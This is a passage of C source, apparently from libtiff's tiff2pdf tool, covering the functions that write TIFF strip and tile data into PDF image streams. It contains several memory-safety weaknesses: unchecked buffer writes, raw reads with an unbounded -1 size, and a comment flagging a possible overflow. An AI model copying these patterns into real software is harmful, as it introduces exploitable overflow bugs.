0) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if(t2p->pdf_ojpegiflength==0){ inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); t2pReadFile(input, (tdata_t) buffer, t2p->tiff_datasize); t2pSeekFile(input, inputoffset, SEEK_SET); t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } else { inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); bufferoffset = t2pReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength); t2p->pdf_ojpegiflength = 0; t2pSeekFile(input, inputoffset, SEEK_SET); TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp); buffer[bufferoffset++]= 0xff; buffer[bufferoffset++]= 0xdd; buffer[bufferoffset++]= 0x00; buffer[bufferoffset++]= 0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; buffer[bufferoffset++]= (ri>>8) & 0xff; buffer[bufferoffset++]= ri & 0xff; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0 ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } } else { if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); bufferoffset=t2p->pdf_ojpegdatalength; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); #if 0 /* This hunk of code removed code is clearly mis-placed and we are not sure where it should be (if anywhere) */ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with no JPEG File Interchange offset", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); #endif } } #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if (TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if(count > 4) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; } } stripcount=TIFFNumberOfStrips(input); TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); for(i=0;i<stripcount;i++){ if(sbc[i]>max_striplength) max_striplength=sbc[i]; } stripbuffer = (unsigned char*) _TIFFmalloc(max_striplength); if(stripbuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", max_striplength, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } for(i=0;i<stripcount;i++){ striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1); if(!t2p_process_jpeg_strip( stripbuffer, &striplength, buffer, t2p->tiff_datasize, &bufferoffset, i, t2p->tiff_length)){ TIFFError(TIFF2PDF_MODULE, "Can't process JPEG data in input file %s", TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(stripbuffer); _TIFFfree(buffer); return(bufferoffset); } #endif /* ifdef JPEG_SUPPORT */ (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } } else { if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ sepstripsize=TIFFStripSize(input); sepstripcount=TIFFNumberOfStrips(input); stripsize=sepstripsize*t2p->tiff_samplesperpixel; stripcount=sepstripcount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); samplebuffer = (unsigned char*) _TIFFmalloc(stripsize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } for(i=0;i<stripcount;i++){ samplebufferoffset=0; for(j=0;j<t2p->tiff_samplesperpixel;j++){ read = TIFFReadEncodedStrip(input, i + j*stripcount, (tdata_t) &(samplebuffer[samplebufferoffset]), TIFFmin(sepstripsize, stripsize - samplebufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i + j*stripcount, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; } _TIFFfree(samplebuffer); goto dataready; } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ // FIXME: overflow? samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t) buffer, t2p->tiff_datasize * t2p->tiff_samplesperpixel); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; t2p->tiff_datasize *= t2p->tiff_samplesperpixel; } t2p_sample_realize_palette(t2p, buffer); } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length*4); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; } if(!TIFFReadRGBAImageOriented( input, t2p->tiff_width, t2p->tiff_length, (uint32*)buffer, ORIENTATION_TOPLEFT, 0)){ TIFFError(TIFF2PDF_MODULE, "Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } t2p->tiff_datasize=t2p_sample_abgr_to_rgb( (tdata_t) buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } } dataready: t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width); TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length); TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length); TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif /* ifdef CCITT_SUPPORT */ #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver) !=0 ) { if(hor != 0 && ver != 0){ TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){ TIFFError(TIFF2PDF_MODULE, "Unable to use JPEG compression for input %s and output %s", TIFFFileName(input), TIFFFileName(output)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif /* ifdef JPEG_SUPPORT */ #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif /* ifdef ZIP_SUPPORT */ default: break; } t2p_enable(output); t2p->outputwritten = 0; #ifdef JPEG_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_JPEG && t2p->tiff_photometric == PHOTOMETRIC_YCBCR){ bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, stripsize * stripcount); } else #endif /* ifdef JPEG_SUPPORT */ { bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); } if (buffer != NULL) { _TIFFfree(buffer); buffer=NULL; } if (bufferoffset == (tsize_t)-1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded strip to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } /* * This function reads the raster image data from the input TIFF for an image * tile and writes the data to the output PDF XObject image dictionary stream * for the tile. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image_tile(T2P* t2p, TIFF* input, TIFF* output, ttile_t tile){ uint16 edge=0; tsize_t written=0; unsigned char* buffer=NULL; tsize_t bufferoffset=0; unsigned char* samplebuffer=NULL; tsize_t samplebufferoffset=0; tsize_t read=0; uint16 i=0; ttile_t tilecount=0; /* tsize_t tilesize=0; */ ttile_t septilecount=0; tsize_t septilesize=0; #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint32 xuint32=0; #endif /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if( (t2p->pdf_transcode == T2P_TRANSCODE_RAW) && ((edge == 0) #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) || (t2p->pdf_compression == T2P_COMPRESS_JPEG) #endif ) ){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with " "bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer=(unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); if(edge!=0){ if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[7]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength >> 8) & 0xff; buffer[8]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength ) & 0xff; } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){ buffer[9]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth >> 8) & 0xff; buffer[10]= (t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth ) & 0xff; } } bufferoffset=t2p->pdf_ojpegdatalength; bufferoffset+=TIFFReadRawTile(input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); ((unsigned char*)buffer)[bufferoffset++]=0xff; ((unsigned char*)buffer)[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG){ unsigned char table_end[2]; uint32 count = 0; buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (TIFF_SIZE_T) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if (count > 0) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; table_end[0] = buffer[bufferoffset-2]; table_end[1] = buffer[bufferoffset-1]; } if (count > 0) { xuint32 = bufferoffset; bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset-2]), -1); buffer[xuint32-2]=table_end[0]; buffer[xuint32-1]=table_end[1]; } else { bufferoffset += TIFFReadRawTile( input, tile, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } #endif (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } else { if(t2p->pdf_sample == T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ septilesize=TIFFTileSize(input); septilecount=TIFFNumberOfTiles(input); /* tilesize=septilesize*t2p->tiff_samplesperpixel; */ tilecount=septilecount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebuffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } samplebufferoffset=0; for(i=0;i<t2p->tiff_samplesperpixel;i++){ read = TIFFReadEncodedTile(input, tile + i*tilecount, (tdata_t) &(samplebuffer[samplebufferoffset]), septilesize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile + i*tilecount, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; _TIFFfree(samplebuffer); } if(buffer==NULL){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory " "for t2p_readwrite_pdf_image_tile, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } read = TIFFReadEncodedTile( input, tile, (tdata_t) &buffer[bufferoffset], t2p->tiff_datasize); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding tile %u of %s", tile, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ TIFFError(TIFF2PDF_MODULE, "No support for YCbCr to RGB in tile for %s", TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth *t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) != 0){ t2p_tile_collapse_left( buffer, TIFFTileRowSize(input), t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } else { TIFFSetField( output, TIFFTAG_IMAGEWIDTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){ TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } else { TIFFSetField( output, TIFFTAG_IMAGELENGTH, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); TIFFSetField( output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if (t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver)!=0) { if (hor != 0 && ver != 0) { TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); /* JPEGTABLESMODE_NONE */ if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif default: break; } t2p_enable(output); t2p->outputwritten = 0; bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t) 0, buffer, TIFFStripSize(output)); if (buffer != NULL) { _TIFFfree(buffer); buffer = NULL; } if (bufferoffset == -1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded tile to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); } #ifdef OJPEG_SUPPORT int t2p_process_ojpeg_tables(T2P* t2p, TIFF* input){ uint16 proc=0; void* q; uint32 q_length=0; void* dc; uint32 dc_length=0; void* ac; uint32 ac_length=0; uint16* lp; uint16* pt; uint16 h_samp=1; uint16 v_samp=1; unsigned char* ojpegdata; uint16 table_count; uint32 offset_table; uint32 offset_ms_l; uint32 code_count; uint32 i=0; uint32 dest=0; uint16 ri=0; uint32 rows=0; if(!TIFFGetField(input, TIFFTAG_JPEGPROC, &proc)){ TIFFError(TIFF2PDF_MODULE, "Missing JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(proc!=JPEGPROC_BASELINE && proc!=JPEGPROC_LOSSLESS){ TIFFError(TIFF2PDF_MODULE, "Bad JPEGProc field in OJPEG image %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } if(!TIFFGetField(input, TIFFTAG_JPEGQTABLES, &q_length, &q)){ 